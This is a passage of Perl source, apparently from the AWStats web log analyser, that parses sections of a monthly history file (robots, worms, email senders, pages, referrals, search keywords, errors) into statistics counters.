4911				  } until ( $field[0] eq 'END_SCREENSIZE'
4912					  || $field[0] eq "${xmleb}END_SCREENSIZE"
4913					  || !$_ );
4914				if (   $field[0] ne 'END_SCREENSIZE'
4915					&& $field[0] ne "${xmleb}END_SCREENSIZE" )
4916				{
4917					error(
4918"History file \"$filetoread\" is corrupted (End of section SCREENSIZE not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).",
4919						"", "", 1
4920					);
4921				}
4922				if ($Debug) {
4923					debug(
4924" End of SCREENSIZE section ($count entries, $countloaded loaded)"
4925					);
4926				}
4927				delete $SectionsToLoad{'screensize'};
4928				if ( $SectionsToSave{'screensize'} ) {
4929					Save_History( 'screensize', $year, $month, $date );
4930					delete $SectionsToSave{'screensize'};
4931					if ($withpurge) { %_screensize_h = (); }
4932				}
4933				if ( !scalar %SectionsToLoad ) {
4934					debug(" Stop reading history file. Got all we need.");
4935					last;
4936				}
4937				next;
4938			}
4939
4940			# BEGIN_ROBOT
4941			if ( $field[0] eq 'BEGIN_ROBOT' ) {
4942				if ($Debug) { debug(" Begin of ROBOT section"); }
4943				$field[0] = '';
4944				my $count       = 0;
4945				my $countloaded = 0;
4946				do {
4947					if ( $field[0] ) {
4948						$count++;
4949						if ( $SectionsToLoad{'robot'} ) {
4950							$countloaded++;
4951							if ( $field[1] ) {
4952								$_robot_h{ $field[0] } += $field[1];
4953							}
4954							$_robot_k{ $field[0] } += $field[2];
4955							if ( !$_robot_l{ $field[0] } ) {
4956								$_robot_l{ $field[0] } = int( $field[3] );
4957							}
4958							if ( $field[4] ) {
4959								$_robot_r{ $field[0] } += $field[4];
4960							}
4961						}
4962					}
4963					$_ = <HISTORY>;
4964					chomp $_;
4965					s/\r//;
4966					@field =
4967					  split( /\s+/,
4968						( $readxml ? XMLDecodeFromHisto($_) : $_ ) );
4969					$countlines++;
4970				  } until ( $field[0] eq 'END_ROBOT'
4971					  || $field[0] eq "${xmleb}END_ROBOT"
4972					  || !$_ );
4973				if (   $field[0] ne 'END_ROBOT'
4974					&& $field[0] ne "${xmleb}END_ROBOT" )
4975				{
4976					error(
4977"History file \"$filetoread\" is corrupted (End of section ROBOT not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).",
4978						"", "", 1
4979					);
4980				}
4981				if ($Debug) {
4982					debug(
4983" End of ROBOT section ($count entries, $countloaded loaded)"
4984					);
4985				}
4986				delete $SectionsToLoad{'robot'};
4987				if ( $SectionsToSave{'robot'} ) {
4988					Save_History( 'robot', $year, $month, $date );
4989					delete $SectionsToSave{'robot'};
4990					if ($withpurge) {
4991						%_robot_h = ();
4992						%_robot_k = ();
4993						%_robot_l = ();
4994						%_robot_r = ();
4995					}
4996				}
4997				if ( !scalar %SectionsToLoad ) {
4998					debug(" Stop reading history file. Got all we need.");
4999					last;
5000				}
5001				next;
5002			}
5003
5004			# BEGIN_WORMS
5005			if ( $field[0] eq 'BEGIN_WORMS' ) {
5006				if ($Debug) { debug(" Begin of WORMS section"); }
5007				$field[0] = '';
5008				my $count       = 0;
5009				my $countloaded = 0;
5010				do {
5011					if ( $field[0] ) {
5012						$count++;
5013						if ( $SectionsToLoad{'worms'} ) {
5014							$countloaded++;
5015							if ( $field[1] ) {
5016								$_worm_h{ $field[0] } += $field[1];
5017							}
5018							$_worm_k{ $field[0] } += $field[2];
5019							if ( !$_worm_l{ $field[0] } ) {
5020								$_worm_l{ $field[0] } = int( $field[3] );
5021							}
5022						}
5023					}
5024					$_ = <HISTORY>;
5025					chomp $_;
5026					s/\r//;
5027					@field =
5028					  split( /\s+/,
5029						( $readxml ? XMLDecodeFromHisto($_) : $_ ) );
5030					$countlines++;
5031				  } until ( $field[0] eq 'END_WORMS'
5032					  || $field[0] eq "${xmleb}END_WORMS"
5033					  || !$_ );
5034				if (   $field[0] ne 'END_WORMS'
5035					&& $field[0] ne "${xmleb}END_WORMS" )
5036				{
5037					error(
5038"History file \"$filetoread\" is corrupted (End of section WORMS not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).",
5039						"", "", 1
5040					);
5041				}
5042				if ($Debug) {
5043					debug(
5044" End of WORMS section ($count entries, $countloaded loaded)"
5045					);
5046				}
5047				delete $SectionsToLoad{'worms'};
5048				if ( $SectionsToSave{'worms'} ) {
5049					Save_History( 'worms', $year, $month, $date );
5050					delete $SectionsToSave{'worms'};
5051					if ($withpurge) {
5052						%_worm_h = ();
5053						%_worm_k = ();
5054						%_worm_l = ();
5055					}
5056				}
5057				if ( !scalar %SectionsToLoad ) {
5058					debug(" Stop reading history file. Got all we need.");
5059					last;
5060				}
5061				next;
5062			}
5063
5064			# BEGIN_EMAILS
5065			if ( $field[0] eq 'BEGIN_EMAILSENDER' ) {
5066				if ($Debug) { debug(" Begin of EMAILSENDER section"); }
5067				$field[0] = '';
5068				my $count       = 0;
5069				my $countloaded = 0;
5070				do {
5071					if ( $field[0] ) {
5072						$count++;
5073						if ( $SectionsToLoad{'emailsender'} ) {
5074							$countloaded++;
5075							if ( $field[1] ) {
5076								$_emails_h{ $field[0] } += $field[1];
5077							}
5078							if ( $field[2] ) {
5079								$_emails_k{ $field[0] } += $field[2];
5080							}
5081							if ( !$_emails_l{ $field[0] } ) {
5082								$_emails_l{ $field[0] } = int( $field[3] );
5083							}
5084						}
5085					}
5086					$_ = <HISTORY>;
5087					chomp $_;
5088					s/\r//;
5089					@field =
5090					  split( /\s+/,
5091						( $readxml ? XMLDecodeFromHisto($_) : $_ ) );
5092					$countlines++;
5093				  } until ( $field[0] eq 'END_EMAILSENDER'
5094					  || $field[0] eq "${xmleb}END_EMAILSENDER"
5095					  || !$_ );
5096				if (   $field[0] ne 'END_EMAILSENDER'
5097					&& $field[0] ne "${xmleb}END_EMAILSENDER" )
5098				{
5099					error(
5100"History file \"$filetoread\" is corrupted (End of section EMAILSENDER not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).",
5101						"", "", 1
5102					);
5103				}
5104				if ($Debug) {
5105					debug(
5106" End of EMAILSENDER section ($count entries, $countloaded loaded)"
5107					);
5108				}
5109				delete $SectionsToLoad{'emailsender'};
5110				if ( $SectionsToSave{'emailsender'} ) {
5111					Save_History( 'emailsender', $year, $month, $date );
5112					delete $SectionsToSave{'emailsender'};
5113					if ($withpurge) {
5114						%_emails_h = ();
5115						%_emails_k = ();
5116						%_emails_l = ();
5117					}
5118				}
5119				if ( !scalar %SectionsToLoad ) {
5120					debug(" Stop reading history file. Got all we need.");
5121					last;
5122				}
5123				next;
5124			}
5125
5126			# BEGIN_EMAILR
5127			if ( $field[0] eq 'BEGIN_EMAILRECEIVER' ) {
5128				if ($Debug) { debug(" Begin of EMAILRECEIVER section"); }
5129				$field[0] = '';
5130				my $count       = 0;
5131				my $countloaded = 0;
5132				do {
5133					if ( $field[0] ) {
5134						$count++;
5135						if ( $SectionsToLoad{'emailreceiver'} ) {
5136							$countloaded++;
5137							if ( $field[1] ) {
5138								$_emailr_h{ $field[0] } += $field[1];
5139							}
5140							if ( $field[2] ) {
5141								$_emailr_k{ $field[0] } += $field[2];
5142							}
5143							if ( !$_emailr_l{ $field[0] } ) {
5144								$_emailr_l{ $field[0] } = int( $field[3] );
5145							}
5146						}
5147					}
5148					$_ = <HISTORY>;
5149					chomp $_;
5150					s/\r//;
5151					@field =
5152					  split( /\s+/,
5153						( $readxml ? XMLDecodeFromHisto($_) : $_ ) );
5154					$countlines++;
5155				  } until ( $field[0] eq 'END_EMAILRECEIVER'
5156					  || $field[0] eq "${xmleb}END_EMAILRECEIVER"
5157					  || !$_ );
5158				if (   $field[0] ne 'END_EMAILRECEIVER'
5159					&& $field[0] ne "${xmleb}END_EMAILRECEIVER" )
5160				{
5161					error(
5162"History file \"$filetoread\" is corrupted (End of section EMAILRECEIVER not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).",
5163						"", "", 1
5164					);
5165				}
5166				if ($Debug) {
5167					debug(
5168" End of EMAILRECEIVER section ($count entries, $countloaded loaded)"
5169					);
5170				}
5171				delete $SectionsToLoad{'emailreceiver'};
5172				if ( $SectionsToSave{'emailreceiver'} ) {
5173					Save_History( 'emailreceiver', $year, $month, $date );
5174					delete $SectionsToSave{'emailreceiver'};
5175					if ($withpurge) {
5176						%_emailr_h = ();
5177						%_emailr_k = ();
5178						%_emailr_l = ();
5179					}
5180				}
5181				if ( !scalar %SectionsToLoad ) {
5182					debug(" Stop reading history file. Got all we need.");
5183					last;
5184				}
5185				next;
5186			}
5187
5188			# BEGIN_SIDER
5189			if ( $field[0] eq 'BEGIN_SIDER' ) {
5190				if ($Debug) { debug(" Begin of SIDER section"); }
5191				$field[0] = '';
5192				my $count       = 0;
5193				my $countloaded = 0;
5194				do {
5195					if ( $field[0] ) {
5196						$count++;
5197						if ( $SectionsToLoad{'sider'} ) {
5198							my $loadrecord = 0;
5199							if ($withupdate) {
5200								$loadrecord = 1;
5201							}
5202							else {
5203								if ( $HTMLOutput{'main'} ) {
5204									if ( $MonthRequired eq 'all' ) {
5205										$loadrecord = 1;
5206									}
5207									else {
5208										if (
5209											$countloaded < $MaxNbOf{'PageShown'}
5210											&& $field[1] >= $MinHit{'File'} )
5211										{
5212											$loadrecord = 1;
5213										}
5214										$TotalDifferentPages++;
5215									}
5216								}
5217								else
5218								{ # This is for $HTMLOutput = urldetail, urlentry or urlexit
5219									if ( $MonthRequired eq 'all' ) {
5220										if (
5221											(
5222												!$FilterIn{'url'}
5223												|| $field[0] =~
5224												/$FilterIn{'url'}/
5225											)
5226											&& ( !$FilterEx{'url'}
5227												|| $field[0] !~
5228												/$FilterEx{'url'}/ )
5229										  )
5230										{
5231											$loadrecord = 1;
5232										}
5233									}
5234									else {
5235										if (
5236											(
5237												!$FilterIn{'url'}
5238												|| $field[0] =~
5239												/$FilterIn{'url'}/
5240											)
5241											&& ( !$FilterEx{'url'}
5242												|| $field[0] !~
5243												/$FilterEx{'url'}/ )
5244											&& $field[1] >= $MinHit{'File'}
5245										  )
5246										{
5247											$loadrecord = 1;
5248										}
5249										$TotalDifferentPages++;
5250									}
5251								}
5252
5253# Posssibilite de mettre if ($FilterIn{'url'} && $field[0] =~ /$FilterIn{'url'}/) mais il faut gerer TotalPages de la meme maniere
5254								$TotalBytesPages += ( $field[2] || 0 );
5255								$TotalEntries    += ( $field[3] || 0 );
5256								$TotalExits      += ( $field[4] || 0 );
5257							}
5258							if ($loadrecord) {
5259								if ( $field[1] ) {
5260									$_url_p{ $field[0] } += $field[1];
5261								}
5262								if ( $field[2] ) {
5263									$_url_k{ $field[0] } += $field[2];
5264								}
5265								if ( $field[3] ) {
5266									$_url_e{ $field[0] } += $field[3];
5267								}
5268								if ( $field[4] ) {
5269									$_url_x{ $field[0] } += $field[4];
5270								}
5271								$countloaded++;
5272							}
5273						}
5274					}
5275					$_ = <HISTORY>;
5276					chomp $_;
5277					s/\r//;
5278					@field =
5279					  split( /\s+/,
5280						( $readxml ? XMLDecodeFromHisto($_) : $_ ) );
5281					$countlines++;
5282				  } until ( $field[0] eq 'END_SIDER'
5283					  || $field[0] eq "${xmleb}END_SIDER"
5284					  || !$_ );
5285				if (   $field[0] ne 'END_SIDER'
5286					&& $field[0] ne "${xmleb}END_SIDER" )
5287				{
5288					error(
5289"History file \"$filetoread\" is corrupted (End of section SIDER not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).",
5290						"", "", 1
5291					);
5292				}
5293				if ($Debug) {
5294					debug(
5295" End of SIDER section ($count entries, $countloaded loaded)"
5296					);
5297				}
5298				delete $SectionsToLoad{'sider'};
5299
5300# WE DO NOT SAVE SECTION NOW BECAUSE VALUES CAN BE CHANGED AFTER READING VISITOR
5301#if ($SectionsToSave{'sider'}) {
5302#	Save_History('sider',$year,$month,$date); delete $SectionsToSave{'sider'};
5303#	if ($withpurge) { %_url_p=(); %_url_k=(); %_url_e=(); %_url_x=(); }
5304#}
5305				if ( !scalar %SectionsToLoad ) {
5306					debug(" Stop reading history file. Got all we need.");
5307					last;
5308				}
5309				next;
5310			}
5311
5312			# BEGIN_FILETYPES
5313			if ( $field[0] eq 'BEGIN_FILETYPES' ) {
5314				if ($Debug) { debug(" Begin of FILETYPES section"); }
5315				$field[0] = '';
5316				my $count       = 0;
5317				my $countloaded = 0;
5318				do {
5319					if ( $field[0] ) {
5320						$count++;
5321						if ( $SectionsToLoad{'filetypes'} ) {
5322							$countloaded++;
5323							if ( $field[1] ) {
5324								$_filetypes_h{ $field[0] } += $field[1];
5325							}
5326							if ( $field[2] ) {
5327								$_filetypes_k{ $field[0] } += $field[2];
5328							}
5329							if ( $field[3] ) {
5330								$_filetypes_gz_in{ $field[0] } += $field[3];
5331							}
5332							if ( $field[4] ) {
5333								$_filetypes_gz_out{ $field[0] } += $field[4];
5334							}
5335						}
5336					}
5337					$_ = <HISTORY>;
5338					chomp $_;
5339					s/\r//;
5340					@field =
5341					  split( /\s+/,
5342						( $readxml ? XMLDecodeFromHisto($_) : $_ ) );
5343					$countlines++;
5344				  } until ( $field[0] eq 'END_FILETYPES'
5345					  || $field[0] eq "${xmleb}END_FILETYPES"
5346					  || !$_ );
5347				if (   $field[0] ne 'END_FILETYPES'
5348					&& $field[0] ne "${xmleb}END_FILETYPES" )
5349				{
5350					error(
5351"History file \"$filetoread\" is corrupted (End of section FILETYPES not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).",
5352						"", "", 1
5353					);
5354				}
5355				if ($Debug) {
5356					debug(
5357" End of FILETYPES section ($count entries, $countloaded loaded)"
5358					);
5359				}
5360				delete $SectionsToLoad{'filetypes'};
5361				if ( $SectionsToSave{'filetypes'} ) {
5362					Save_History( 'filetypes', $year, $month, $date );
5363					delete $SectionsToSave{'filetypes'};
5364					if ($withpurge) {
5365						%_filetypes_h      = ();
5366						%_filetypes_k      = ();
5367						%_filetypes_gz_in  = ();
5368						%_filetypes_gz_out = ();
5369					}
5370				}
5371				if ( !scalar %SectionsToLoad ) {
5372					debug(" Stop reading history file. Got all we need.");
5373					last;
5374				}
5375				next;
5376			}
5377
5378			# BEGIN_DOWNLOADS
5379			if ( $field[0] eq 'BEGIN_DOWNLOADS' ) {
5380				if ($Debug) {
5381					debug(" Begin of DOWNLOADS section");
5382				}
5383				$field[0] = '';
5384				my $count       = 0;
5385				my $counttoload = int($field[1]);
5386				my $countloaded = 0;
5387				do {
5388					if ( $field[0] ) {
5389						$count++;
5390						if ( $SectionsToLoad{'downloads'}) {
5391							$countloaded++;
5392							$_downloads{$field[0]}->{'AWSTATS_HITS'} += int( $field[1] );
5393							$_downloads{$field[0]}->{'AWSTATS_206'} += int( $field[2] );
5394							$_downloads{$field[0]}->{'AWSTATS_SIZE'} += int( $field[3] );
5395						}
5396					}
5397					$_ = <HISTORY>;
5398					chomp $_;
5399					s/\r//;
5400					@field =
5401					  split( /\s+/,
5402						( $readxml ? XMLDecodeFromHisto($_) : $_ ) );
5403					$countlines++;
5404				  } until ( $field[0] eq 'END_DOWNLOADS'
5405					  || $field[0] eq "${xmleb}END_DOWNLOADS"
5406					  || !$_ );
5407				if (   $field[0] ne 'END_DOWNLOADS'
5408					&& $field[0] ne "${xmleb}END_DOWNLOADS" )
5409				{
5410					error(
5411"History file \"$filetoread\" is corrupted (End of section DOWNLOADS not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).",
5412						"", "", 1
5413					);
5414				}
5415				if ($Debug) {
5416					debug(
5417" End of DOWNLOADS section ($count entries, $countloaded loaded)"
5418					);
5419				}
5420				delete $SectionsToLoad{'downloads'};
5421				if ( $SectionsToSave{'downloads'} ) {
5422					Save_History( 'downloads',
5423						$year, $month, $date );
5424					delete $SectionsToSave{'downloads'};
5425					if ($withpurge) { %_downloads = (); }
5426				}
5427				if ( !scalar %SectionsToLoad ) {
5428					debug(" Stop reading history file. Got all we need.");
5429					last;
5430				}
5431				next;
5432			}
5433
5434			# BEGIN_SEREFERRALS
5435			if ( $field[0] eq 'BEGIN_SEREFERRALS' ) {
5436				if ($Debug) { debug(" Begin of SEREFERRALS section"); }
5437				$field[0] = '';
5438				my $count       = 0;
5439				my $countloaded = 0;
5440				do {
5441					if ( $field[0] ) {
5442						$count++;
5443						if ( $SectionsToLoad{'sereferrals'} ) {
5444							$countloaded++;
5445							if ( $versionnum < 5004 )
5446							{    # For history files < 5.4
5447								my $se = $field[0];
5448								$se =~ s/\./\\./g;
5449								if ( $SearchEnginesHashID{$se} ) {
5450									$_se_referrals_h{ $SearchEnginesHashID{$se}
5451									  } += $field[1]
5452									  || 0;
5453								}
5454								else {
5455									$_se_referrals_h{ $field[0] } += $field[1]
5456									  || 0;
5457								}
5458							}
5459							elsif ( $versionnum < 5091 )
5460							{    # For history files < 5.91
5461								my $se = $field[0];
5462								$se =~ s/\./\\./g;
5463								if ( $SearchEnginesHashID{$se} ) {
5464									$_se_referrals_p{ $SearchEnginesHashID{$se}
5465									  } += $field[1]
5466									  || 0;
5467									$_se_referrals_h{ $SearchEnginesHashID{$se}
5468									  } += $field[2]
5469									  || 0;
5470								}
5471								else {
5472									$_se_referrals_p{ $field[0] } += $field[1]
5473									  || 0;
5474									$_se_referrals_h{ $field[0] } += $field[2]
5475									  || 0;
5476								}
5477							}
5478							else {
5479								if ( $field[1] ) {
5480									$_se_referrals_p{ $field[0] } += $field[1];
5481								}
5482								if ( $field[2] ) {
5483									$_se_referrals_h{ $field[0] } += $field[2];
5484								}
5485							}
5486						}
5487					}
5488					$_ = <HISTORY>;
5489					chomp $_;
5490					s/\r//;
5491					@field =
5492					  split( /\s+/,
5493						( $readxml ? XMLDecodeFromHisto($_) : $_ ) );
5494					$countlines++;
5495				  } until ( $field[0] eq 'END_SEREFERRALS'
5496					  || $field[0] eq "${xmleb}END_SEREFERRALS"
5497					  || !$_ );
5498				if (   $field[0] ne 'END_SEREFERRALS'
5499					&& $field[0] ne "${xmleb}END_SEREFERRALS" )
5500				{
5501					error(
5502"History file \"$filetoread\" is corrupted (End of section SEREFERRALS not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).",
5503						"", "", 1
5504					);
5505				}
5506				if ($Debug) {
5507					debug(
5508" End of SEREFERRALS section ($count entries, $countloaded loaded)"
5509					);
5510				}
5511				delete $SectionsToLoad{'sereferrals'};
5512				if ( $SectionsToSave{'sereferrals'} ) {
5513					Save_History( 'sereferrals', $year, $month, $date );
5514					delete $SectionsToSave{'sereferrals'};
5515					if ($withpurge) {
5516						%_se_referrals_p = ();
5517						%_se_referrals_h = ();
5518					}
5519				}
5520				if ( !scalar %SectionsToLoad ) {
5521					debug(" Stop reading history file. Got all we need.");
5522					last;
5523				}
5524				next;
5525			}
5526
5527			# BEGIN_PAGEREFS
5528			if ( $field[0] eq 'BEGIN_PAGEREFS' ) {
5529				if ($Debug) { debug(" Begin of PAGEREFS section"); }
5530				$field[0] = '';
5531				my $count       = 0;
5532				my $countloaded = 0;
5533				do {
5534					if ( $field[0] ) {
5535						$count++;
5536						if ( $SectionsToLoad{'pagerefs'} ) {
5537							my $loadrecord = 0;
5538							if ($withupdate) {
5539								$loadrecord = 1;
5540							}
5541							else {
5542								if (
5543									(
5544										!$FilterIn{'refererpages'}
5545										|| $field[0] =~
5546										/$FilterIn{'refererpages'}/
5547									)
5548									&& ( !$FilterEx{'refererpages'}
5549										|| $field[0] !~
5550										/$FilterEx{'refererpages'}/ )
5551								  )
5552								{
5553									$loadrecord = 1;
5554								}
5555							}
5556							if ($loadrecord) {
5557								if ( $versionnum < 5004 )
5558								{    # For history files < 5.4
5559									if ( $field[1] ) {
5560										$_pagesrefs_h{ $field[0] } +=
5561										  int( $field[1] );
5562									}
5563								}
5564								else {
5565									if ( $field[1] ) {
5566										$_pagesrefs_p{ $field[0] } +=
5567										  int( $field[1] );
5568									}
5569									if ( $field[2] ) {
5570										$_pagesrefs_h{ $field[0] } +=
5571										  int( $field[2] );
5572									}
5573								}
5574								$countloaded++;
5575							}
5576						}
5577					}
5578					$_ = <HISTORY>;
5579					chomp $_;
5580					s/\r//;
5581					@field =
5582					  split( /\s+/,
5583						( $readxml ? XMLDecodeFromHisto($_) : $_ ) );
5584					$countlines++;
5585				  } until ( $field[0] eq 'END_PAGEREFS'
5586					  || $field[0] eq "${xmleb}END_PAGEREFS"
5587					  || !$_ );
5588				if (   $field[0] ne 'END_PAGEREFS'
5589					&& $field[0] ne "${xmleb}END_PAGEREFS" )
5590				{
5591					error(
5592"History file \"$filetoread\" is corrupted (End of section PAGEREFS not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).",
5593						"", "", 1
5594					);
5595				}
5596				if ($Debug) {
5597					debug(
5598" End of PAGEREFS section ($count entries, $countloaded loaded)"
5599					);
5600				}
5601				delete $SectionsToLoad{'pagerefs'};
5602				if ( $SectionsToSave{'pagerefs'} ) {
5603					Save_History( 'pagerefs', $year, $month, $date );
5604					delete $SectionsToSave{'pagerefs'};
5605					if ($withpurge) { %_pagesrefs_p = (); %_pagesrefs_h = (); }
5606				}
5607				if ( !scalar %SectionsToLoad ) {
5608					debug(" Stop reading history file. Got all we need.");
5609					last;
5610				}
5611				next;
5612			}
5613
5614			# BEGIN_SEARCHWORDS
5615			if ( $field[0] eq 'BEGIN_SEARCHWORDS' ) {
5616				if ($Debug) {
5617					debug(
5618" Begin of SEARCHWORDS section ($MaxNbOf{'KeyphrasesShown'},$MinHit{'Keyphrase'})"
5619					);
5620				}
5621				$field[0] = '';
5622				my $count       = 0;
5623				my $countloaded = 0;
5624				do {
5625					if ( $field[0] ) {
5626						$count++;
5627						if ( $SectionsToLoad{'searchwords'} ) {
5628							my $loadrecord = 0;
5629							if ($withupdate) {
5630								$loadrecord = 1;
5631							}
5632							else {
5633								if ( $HTMLOutput{'main'} ) {
5634									if ( $MonthRequired eq 'all' ) {
5635										$loadrecord = 1;
5636									}
5637									else {
5638										if ( $countloaded <
5639											   $MaxNbOf{'KeyphrasesShown'}
5640											&& $field[1] >=
5641											$MinHit{'Keyphrase'} )
5642										{
5643											$loadrecord = 1;
5644										}
5645										$TotalDifferentKeyphrases++;
5646										$TotalKeyphrases += ( $field[1] || 0 );
5647									}
5648								}
5649								elsif ( $HTMLOutput{'keyphrases'} )
5650								{    # Load keyphrases for keyphrases chart
5651									if ( $MonthRequired eq 'all' ) {
5652										$loadrecord = 1;
5653									}
5654									else {
5655										if ( $field[1] >= $MinHit{'Keyphrase'} )
5656										{
5657											$loadrecord = 1;
5658										}
5659										$TotalDifferentKeyphrases++;
5660										$TotalKeyphrases += ( $field[1] || 0 );
5661									}
5662								}
5663								if ( $HTMLOutput{'keywords'} )
5664								{    # Load keyphrases for keywords chart
5665									$loadrecord = 2;
5666								}
5667							}
5668							if ($loadrecord) {
5669								if ( $field[1] ) {
5670									if ( $loadrecord == 2 ) {
5671										foreach ( split( /\+/, $field[0] ) )
5672										{    # field[0] is "val1+val2+..."
5673											$_keywords{$_} += $field[1];
5674										}
5675									}
5676									else {
5677										$_keyphrases{ $field[0] } += $field[1];
5678									}
5679								}
5680								$countloaded++;
5681							}
5682						}
5683					}
5684					$_ = <HISTORY>;
5685					chomp $_;
5686					s/\r//;
5687					@field =
5688					  split( /\s+/,
5689						( $readxml ? XMLDecodeFromHisto($_) : $_ ) );
5690					$countlines++;
5691				  } until ( $field[0] eq 'END_SEARCHWORDS'
5692					  || $field[0] eq "${xmleb}END_SEARCHWORDS"
5693					  || !$_ );
5694				if (   $field[0] ne 'END_SEARCHWORDS'
5695					&& $field[0] ne "${xmleb}END_SEARCHWORDS" )
5696				{
5697					error(
5698"History file \"$filetoread\" is corrupted (End of section SEARCHWORDS not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).",
5699						"", "", 1
5700					);
5701				}
5702				if ($Debug) {
5703					debug(
5704" End of SEARCHWORDS section ($count entries, $countloaded loaded)"
5705					);
5706				}
5707				delete $SectionsToLoad{'searchwords'};
5708				if ( $SectionsToSave{'searchwords'} ) {
5709					Save_History( 'searchwords', $year, $month, $date );
5710					delete $SectionsToSave{ 'searchwords'
5711					  };    # This save searwords and keywords sections
5712					if ($withpurge) { %_keyphrases = (); }
5713				}
5714				if ( !scalar %SectionsToLoad ) {
5715					debug(" Stop reading history file. Got all we need.");
5716					last;
5717				}
5718				next;
5719			}
5720
5721			# BEGIN_KEYWORDS
5722			if ( $field[0] eq 'BEGIN_KEYWORDS' ) {
5723				if ($Debug) {
5724					debug(
5725" Begin of KEYWORDS section ($MaxNbOf{'KeywordsShown'},$MinHit{'Keyword'})"
5726					);
5727				}
5728				$field[0] = '';
5729				my $count       = 0;
5730				my $countloaded = 0;
5731				do {
5732					if ( $field[0] ) {
5733						$count++;
5734						if ( $SectionsToLoad{'keywords'} ) {
5735							my $loadrecord = 0;
5736							if ( $MonthRequired eq 'all' ) { $loadrecord = 1; }
5737							else {
5738								if (   $countloaded < $MaxNbOf{'KeywordsShown'}
5739									&& $field[1] >= $MinHit{'Keyword'} )
5740								{
5741									$loadrecord = 1;
5742								}
5743								$TotalDifferentKeywords++;
5744								$TotalKeywords += ( $field[1] || 0 );
5745							}
5746							if ($loadrecord) {
5747								if ( $field[1] ) {
5748									$_keywords{ $field[0] } += $field[1];
5749								}
5750								$countloaded++;
5751							}
5752						}
5753					}
5754					$_ = <HISTORY>;
5755					chomp $_;
5756					s/\r//;
5757					@field =
5758					  split( /\s+/,
5759						( $readxml ? XMLDecodeFromHisto($_) : $_ ) );
5760					$countlines++;
5761				  } until ( $field[0] eq 'END_KEYWORDS'
5762					  || $field[0] eq "${xmleb}END_KEYWORDS"
5763					  || !$_ );
5764				if (   $field[0] ne 'END_KEYWORDS'
5765					&& $field[0] ne "${xmleb}END_KEYWORDS" )
5766				{
5767					error(
5768"History file \"$filetoread\" is corrupted (End of section KEYWORDS not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).",
5769						"", "", 1
5770					);
5771				}
5772				if ($Debug) {
5773					debug(
5774" End of KEYWORDS section ($count entries, $countloaded loaded)"
5775					);
5776				}
5777				delete $SectionsToLoad{'keywords'};
5778				if ( $SectionsToSave{'keywords'} ) {
5779					Save_History( 'keywords', $year, $month, $date );
5780					delete $SectionsToSave{'keywords'};
5781					if ($withpurge) { %_keywords = (); }
5782				}
5783				if ( !scalar %SectionsToLoad ) {
5784					debug(" Stop reading history file. Got all we need.");
5785					last;
5786				}
5787				next;
5788			}
5789
5790			# BEGIN_ERRORS
5791			if ( $field[0] eq 'BEGIN_ERRORS' ) {
5792				if ($Debug) { debug(" Begin of ERRORS section"); }
5793				$field[0] = '';
5794				my $count       = 0;
5795				my $countloaded = 0;
5796				do {
5797					if ( $field[0] ) {
5798						$count++;
5799						if ( $SectionsToLoad{'errors'} ) {
5800							$countloaded++;
5801							if ( $field[1] ) {
5802								$_errors_h{ $field[0] } += $field[1];
5803							}
5804							if ( $field[2] ) {
5805								$_errors_k{ $field[0] } += $field[2];
5806							}
5807						}
5808					}
5809					$_ = <HISTORY>;
5810					chomp $_;
5811					s/\r//;
5812					@field =
5813					  split( /\s+/,
5814						( $readxml ? XMLDecodeFromHisto($_) : $_ ) );
5815					$countlines++;
5816				  } until ( $field[0] eq 'END_ERRORS'
5817					  || $field[0] eq "${xmleb}END_ERRORS"
5818					  || !$_ );
5819				if (   $field[0] ne 'END_ERRORS'
5820					&& $field[0] ne "${xmleb}END_ERRORS" )
5821				{
5822					error(
5823"History file \"$filetoread\" is corrupted (End of section ERRORS not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).",
5824						"", "", 1
5825					);
5826				}
5827				if ($Debug) {
5828					debug(
5829" End of ERRORS section ($count entries, $countloaded loaded)"
5830					);
5831				}
5832				delete $SectionsToLoad{'errors'};
5833				if ( $SectionsToSave{'errors'} ) {
5834					Save_History( 'errors', $year, $month, $date );
5835					delete $SectionsToSave{'errors'};
5836					if ($withpurge) { %_errors_h = (); %_errors_k = (); }
5837				}
5838				if ( !scalar %SectionsToLoad ) {
5839					debug(" Stop reading history file. Got all we need.");
5840					last;
5841				}
5842				next;
5843			}
5844
5845			# BEGIN_SIDER_xxx
5846			foreach my $code ( keys %TrapInfosForHTTPErrorCodes ) {
5847				if ( $field[0] eq "BEGIN_SIDER_$code" ) {
5848					if ($Debug) { debug(" Begin of SIDER_$code section"); }
5849					$field[0] = '';
5850					my $count       = 0;
5851					my $countloaded = 0;
5852					do {
5853						if ( $field[0] ) {
5854							$count++;
5855							if ( $SectionsToLoad{"sider_$code"} ) {
5856								$countloaded++;
5857								if ( $field[1] ) {
5858									$_sider_h{$code}{$field[0]} += $field[1];
5859								}
5860								if ( $withupdate || $HTMLOutput{"errors$code"} )
5861								{
5862									my $fieldidx = 2;
5863									foreach (split(//, $ShowHTTPErrorsPageDetail)) {
5864										last if (! $field[$fieldidx] );
5865										if ( $_ =~ /R/i ) {
5866											$_referer_h{$code}{$field[0]} = $field[2];
